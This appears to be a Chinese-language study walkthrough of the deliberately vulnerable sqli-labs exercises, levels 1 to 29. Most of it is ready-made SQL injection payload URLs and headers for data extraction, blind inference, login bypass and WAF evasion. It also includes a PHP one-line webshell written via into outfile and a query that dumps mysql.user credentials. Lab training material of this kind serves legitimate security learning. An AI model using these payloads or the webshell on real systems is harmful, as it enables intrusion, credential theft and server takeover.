sqli-labs通关
url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%
具体可以看http://www.w3school.com.cn/tags/html_ref_urlencode.html,这里可以查到每个字符的url编码,当然自己编程或者用该语言应该也有自带的函数,去实现url编码
常用的写出来吧: 空格是%20,单引号是%27, 井号是%23,双引号是%22
判断sql注入(显错和基于错误的盲注):单引号,and 1=1 和and 1=2,双引号,反斜杠,注释等
判断基于时间的盲注:在上面的基础上,加个sleep函数 ,如sleep(5) (函数不同数据库有所不同)例子: ' and sleep(5) " and sleep(5)
sql 注入的基本步骤(这个跟sqlmap的步骤基本一致吧)
判断是什么类型注入,有没过滤了关键字,可否绕过
获取数据库用户,版本,当前连接的数据库等信息
获取某个数据库表的信息
获取列信息
最后就获取数据了
环境搭建
使用phpstudy搭建的 修改一下
第一关 基于错误的get单引号字符注入
导入数据库
192.168.232.100/phpMyAdmin
在Less-1下修改index.php
http://127.0.0.1/sqli/Less-1/?id=1
http://127.0.0.1/sqli/Less-1/?id=1’
http://127.0.0.1/sqli/Less-1/?id=1’ and 1=1 --+
http://127.0.0.1/sqli/Less-1/?id=1’ and 1=2 --+
http://127.0.0.1/sqli/Less-1/?id=1’ order by 3 --+
http://127.0.0.1/sqli/Less-1/?id=1 ‘ union all select 1,2,3 --+
http://127.0.0.1/sqli/Less-1/?id=-1’ union all select 1,2,3 --+
database(), @@datadir,user(),version()
concat_ws(char(32,58,32),user(),database(),version())
http://127.0.0.1/sqli/Less-1/?id=-1’ union all select 1,2,user() --+
查询mysql中的所有库
http://192.168.232.188/sqli-labs/Less-1/?id=-4%27%20union%20select%201,2,group_concat(char(32,58,32),schema_name)%20from%20information_schema.schemata%20--+
查询每个库的名字
联合查询所有的库
查询mysql库下面的表名
联合查询mysql下面所有的表名
联合查询mysql.user下面的所有的列名
联合查询字段名的数据
127.0.0.1/sqli/Less-1/?id=-1' union all select 1,concat(user,password,host),2 from mysql.user limit 1,1--+
less 2 GET - Error based - Intiger based (基于错误的GET整型注入)
http://127.0.0.1/sqli/Less-2/?id=1%20and%201=1%20%23
less 3 less 3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
http://127.0.0.1/sqli/Less-3/?id=1') --+
less 4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
http://127.0.0.1/sqli/Less-4/?id=1%22)%20and%201=1--+
less 5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
http://192.168.232.132/sqli/Less-5/?id=-1%27%20union%20all%20select%20count(*),1,concat(%20%27~%27,(select%20schema_name%20from%20information_schema.schemata%20limit%204,1),%27~%27,floor(rand()*2))%20as%20a%20from%20information_schema.schemata%20group%20by%20a%20%23%20
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
双注的意思就是说 当查询语句的前面出现聚合函数 就是多个返回结果count()就是多行的意思 后面的查询结果代码会以错误的形式显示出来
http://192.168.232.132/sqli/Less-5/?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select email_id from emails limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
less 6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
http://127.0.0.1/sqli/Less-6/?id=1%22union%20select%20count(*),2,concat_ws(char(58),(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),floor(rand()*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a%20%23
less 7 GET - Dump into outfile - String (导出文件GET字符型注入)
导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,sqlmap中也有导出一句话和一个文件上传的页面
常用的语句是: select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" ,当这里要获取到网站的在系统中的具体路径(绝对路径)
这个要怎么获取呢,根据系统和数据库猜测,如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就/var/www/htm,/var/www/html/htdocs
@@basedir @@datadir
修改phpstudy里面的mysql.ini的配置文件修改一下
less 8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
发现加个单引号跟没加显示不一样,加了单引号连you are in都不显示了,没有报错,所以只能用盲注判断了
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
首先要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57
首先select database()查询数据库
ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0
二分法 确定第一个字
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字s
less 9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
http://localhost/sqli-labs/Less-9/?id=1' and sleep(5) %23
http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23
post型
less 10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
在username=a’ or 1=1 --+
and的优先级高于or
select username,password from users where username=’a’ or 1=1 --+ and password=’a’ limit 0,1
select username,password from users where username=’a’ and password=’a ‘ or ‘1’=’1’ limit 0,1 // a’ or ‘1’=’1
下面文字解释一下吧,有了上面的基础,应该就比较容易理解了
首先and先运算
username='test' and password='test' 返回false(0)
'1'='1' 肯定是true(1)了
最终语句等价于
SELECT username, password FROM users WHERE 0 or 1;
那么就肯定可以绕过登陆了
利用前面的进行构造payload ‘a’ or (length(select database())>8) --+
less 12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
less 13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
单引号看出有),直接永真+闭合 a’) or (‘1’)=(‘1
less 14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
less 15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
less 17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
注意:下面的注入,一不小心可能把数据库的user表的密码表给清空了
这个应该跟xpath注入有点关系
xpath教程看这 http://www.w3school.com.cn/xpath/
还有个函数
updatexml,这个函数搜了很久都不见其介绍,都是直接给个payload:updatexml(1,concat(0x7e,(version())),0),这函数什么意思,每个位置的参数对应什么,什么都没说,我也是醉了,后来直接在mysql控制台直接help搞掂,瞬间跪了,看了学东西还是官方的好啊,有解释有例子,很好
可以看到可以看到
第一个参数是 目标xml
第二个参数是 xpath的表达式,这个看w3c那个xpath教程
第三个参数是 要将xpath的表达式的东西将目标xml替换成什么
实践了一下上面的例子,你就会理解
第一个直接将a结点的内容包括a直接替换为<e>fff</e>了
第二个是因为第一个结点并没有b结点所以没有变化, /就相当于linux的根目录咯
第三个例子就不管b在哪一层,只要找到就替换
首先有个过滤函数 check_input 首先判断不为空,就截取前15个字符,
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
Magic_quotes_gpc函数在php中的作用是判断解析用提示的数据,如包括有post、get。Cookie过来的数据增加转义字符”\”,以确保这些数据不会一起程序,特别是数据库语句因为特殊字符引起的参数污染而出现的致命错误
若开启了就将转义符号去掉
Ctype_digit判断是不是数字,是数字就返回true,否则就返回false
是字符就用mysql_real_escape_string过去 其实基本就是转义(转义sql语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集),这样就把款字节cut了 ,
function check_input($value){
if(!empty($value)){
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc()){
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value)){
$value = "'" . mysql_real_escape_string($value) . "'";
}else{
$value = intval($value);}
return $value;
可以看到只对uname过滤,那么我们从password入手
Post数据
Uname=admin&passwd=a’ or 1=updatexml(1,concat(0x5e24,version(),0x5e24),1) #
下面就是进行注入提交参数
less 18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
当这个怎么判断存在uagent头存在注入呢,是因为他获取了我们的ip,猜它应该也获取了uagent?当然不靠普,这个靠模糊测试吧(其实就是靠发单引号啊什么的用程序去测试返回结果),还有请使用xxx浏览器访问的,有可能获取了uagent,但也可能只是前端的js来处理
那么用什么工具手注呢,burp的repeater非常方便,用火狐的某些插件应该也可以如live http headers,tamper data,下面我用live http headers插件
首先这里要输入正确的账号和密码才能绕过账号密码判断,进入处理uagent部分,这里跟我们现实中的注册登录再注入是比较贴合,这里我们输入正确的账号密码就输出我们的uagent
这里的话 处理了uname 和passwd uagent没有处理
我们就可以看看 uagent是否没有经过处理
User-Agent: haha ' or updatexml(0,concat(0x5e24,database(),0x5e24),0))#
less 19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
Referer: http://192.168.232.132/sqli/Less-19/ ' or updatexml(0,concat(0x5e24,user(),0x5e24),0))#
less 20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
登录成功之后会设置里面的cookie 当二次刷新的时候 这时候会重新从里面取值弄,并且这次取值没有经过过滤 直接就是注入点 还是使用updatexml的函数进行报错
Cookie: uname=admin1 ' or updatexml(0,concat(0x5e24,user(),0x5e24)
less 21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)
代码的逻辑是 登录成功,再把cookie拿下来,拿到uname的值 进行base64解密 之后重新复制 进行查询
在测试的时候 先把测试的注入代码 进行base64编码 再进行url转码 之后再进行测试
一个合法的Base64,有着以下特征:
字符串的长度为4的整数倍。
字符串的符号取值只能在A-Z, a-z, 0-9, +, /, =共计65个字符中,且=如果出现就必须在结尾出现
admin’) and 1=1 #
less 22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)
原理和21相同 只是单引号 变成双引号
开始进行关键字符的过滤
less 23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)
http://192.168.232.132/sqli/Less-23/?id=1%27%20%20%20union%20all%20select%201,2,3,%274
http://192.168.232.132/sqli/Less-23/?id=1%27%20%20%20union%20all%20select%201,2,%273
http://127.0.0.1/sqli/Less-23/index.php/?id=-5%27%20union%20select%201,2,3%27
进行闭合 ‘ union all select 1,database(),3’ 再进行子查询
http://192.168.232.132/sqli/Less-23/?id=-1%27%20union%20all%20select%201,(select%20database()),%273
-1‘ union all select 1,(select group_concat(char(58),table_name) from information_schema.tables ),’3
less-24 - Second Degree Injections *Real treat* -Store Injections (二次注入)
看一下页面的信息
找输入点
先要进行注册 注册完成之后进行登录
登录完成之后是这样的
进行重置密码或者退出登录
进行密码重置
总体的流程是 先进行注册 之后登录 再进行重置密码
追踪输入点
http://192.168.232.132/sqli/Less-24/new_user.php
先看 new_user.php 这个文件
在这里它进行了数据的提交
继续追踪输入的数据
看login_create.php
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
这里经过了 处理 但是my_escape_string()的函数处理的单引号 双引号 但是不包括 #和--+ 这两个
代码的逻辑就是把前面传过来的数据进行处理, 先进行查询 但是这里要注意使用的是my_escape_string()的函数进行处理 但是后面进行了单引号的拼接,把sql进行查询,查询完成之后进行查询 进行判断最后的结果是否等于0 如果没有则进行插入
插入完成之后的页面
就是注册完成 之后进行登录
看login.php这个页面的源码
进行对前端页面传过来的值进行处理 之后进行处理 判断是否能登录成功 如果是 那么则进行处理 如果登录成功则设置 session 和cookie 之后转到 lgged-in.php 的页面
再看re_setpassword.php
没有经过处理 导致的问题点所在
这时候 我们再来看看
整体的流程就是 我们再进行用户名注册的时候 就进行设置 admin ‘ or 1=1# 直接就会把后面的密码进行了修改
全部进行了修改
less 25 Trick with OR & AND (过滤了or和and)
http://127.0.0.1/sqli/Less-25/?id=1%27%20anandd%201=1%20--+
或者使用and 或者or的替换符号 ||(%7C%7C) 和&&(要经过url编码也就是%26%26)
http://127.0.0.1/sqli/Less-25/?id=1%27%20%26%26%20%271%27=%271
http://127.0.0.1/sqli/Less-25/?id=1%27%20%26%26%201=1%20--+
less 25a Trick with OR & AND Blind (过滤了or和and的盲注)
http://127.0.0.1/sqli/Less-25a/?id=1%20oorrder%20by%203%20--+
less 26 Trick with comments and space (过滤了注释和空格的注入)
逗号,空格,单引号,斜杠等无法正常使用
Bypass waf
空格绕过
/**/
使用括号绕过 括号可以用来包围子查询,任何计算结果的语句都可以使用()来包围,并且两端可以没有多余的空格
使用符号代替 %20 %09 %0d %0c %0d %a0 %0a
使用join 来进行逗号的绕过
最终的
-1 union all select * from ((select 1)a join (select 2)b join (select 3)c join(select 4)d)
-1 union all select * from ((select 1)a join (select 2)b join (select 3)c join(select version())d)
-1 union all select * from 1,2,3,4 是一样的效果
http://127.0.0.1/sqli/Less-26/?id=1%27%20%a0aandnd%a0%20%271%27=%271
确认字段数
%a0可替换空格
http://192.168.232.132/sqli/Less-26/?id=1%27%0Aoorr/**/%0D%271%27=%271
http://192.168.232.132/sqli/Less-26/?id=1%27union%a0all%a0select%a01,2,%273
进行判断
确认显示位(因为过滤掉了-所以我们可以使用字母或者0来显示
http://127.0.0.1/sqli/Less-26/?id=a%27%20%a0%20union%20%a0%20all%20%a0%20select%20%a0%201,2,%275
查询库
查询表
查询列
http://127.0.0.1/sqli/Less-26/?id=a%27%20%a0%20union%20%a0%20all%20%a0%20select%20%a0%201,(select%20%a0group_concat(char(58),column_name)%20%a0from%a0%20infoorrmation_schema.columns%20%a0where%a0%20table_schema=0x6d7973716c%a0%20%26%26%a0%20table_name=0x75736572),%275
查询字段
下面这个也对
http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0union%a0select(1),2,'3
http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0where%a0%271%27=%271
less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)
http://127.0.0.1/sqli/Less-26a/?id=1%27)%a0anandd%a0(%271%27)=(%271
空格也可以使用()来进行绕过union(all)(select)
less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)m (PCRE_MULTILINE) 默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), "行首"元字符 (^) 仅匹配字符串的开始位置, 而"行末"元字符 ($) 仅匹配字符串末尾, 或者最后的换行符(除非设置了 D 修饰符)。这个行为和 perl 相同。 当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 "\n" 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响。 s (PCRE_DOTALL) 如果设置了这个修饰符,模式中的点号元字符匹配所有字符,包含换行符。如果没有这个 修饰符,点号不匹配换行符。这个修饰符等同于 perl 中的/s修饰符。 一个取反字符类比如 [^a] 总是匹配换行符,而不依赖于这个修饰符的设置。/m 当设定了此修正符,“行起始”和“行结束”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。这和 Perl 的 /m 修正符是等效的。如果目标字符串中没有“\n”字符或者模式中没有 ^ 或 $,则设定此修正符没有任何效果。 实际上就就是匹配多行的意思?
/s 使圆点元字符(.)匹配换行符, 上面这里没有点就不用管了,那么上面直接大小写绕过就可以了
http://127.0.0.1/sqli/Less-27/?id=1%27%20UnIon%a0all%a0%20sElect%20%a01,3,%276
http://127.0.0.1/sqli/Less-27/?id=%27%a0uNion%a0sElect(1),(database()),(3)%20or%20(1)=%271
爆表
http://127.0.0.1/sqli/Less-27/?id=%27%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0%20from%20%a0information_schema.tables%a0where%a0%20table_schema=0x6d7973716c%20%a0or%20(1)=%271
爆字段
爆数据
less 27a GET - Blind Based- All your UNION & SELECT belong to us
http://127.0.0.1/sqli/Less-27a/?id=%22%a0uNIon%a0all%a0sELect%20%a01,(sEleCt%a0database()),%223
less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入
获取字段 并显示
查询数据库
less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入
- 长度是8
- http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>7)and('1')=('1
- http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>8)and('1')=('1
- 第一个字符是115,即s
- http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>114)and('1')=('1
- http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>115)and('1')=('1
Less - 29 Protection with WAF
Background-6 服务器(两层)架构
首先介绍一下sqli-lab29,30,31这三关的基本情况:
服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。
此处简单介绍一下相关环境的搭建。环境为ubuntu14.04。此处以我搭建的环境为例,我们需要下载三个东西:tomcat服务器、jdk、mysql-connector-java.分别安装,此处要注意jdk安装后要export环境变量,mysql-connector-java需要将jar文件复制到jdk的相关目录中。接下来将tomcat-files.zip解压到tomcat服务器webapp/ROOT目录下,此处需要说明的是需要修改源代码中正确的路径和mysql用户名密码。到这里我们就可以正常访问29-32关了。
重点:index.php?id=1&id=2,你猜猜到底是显示id=1的数据还是显示id=2的?
Explain:apache(php)解析最后一个参数,即显示id=2的内容。Tomcat(jsp)解析第一个参数,即显示id=1的内容。
以上图片为大多数服务器对于参数解析的介绍。
此处我们想一个问题:index.jsp?id=1&id=2请求,针对第一张图中的服务器配置情况,客户端请求首先过tomcat,tomcat解析第一个参数,接下来tomcat去请求apache(php)服务器,apache解析最后一个参数。那最终返回客户端的应该是哪个参数?
Answer:此处应该是id=2的内容,应为时间上提供服务的是apache(php)服务器,返回的数据也应该是apache处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在tomcat服务器处做数据过滤和处理,功能类似为一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP(HTTP Parameter Pollution),http参数污染攻击的一个应用。HPP可对服务器和客户端都能够造成一定的威胁。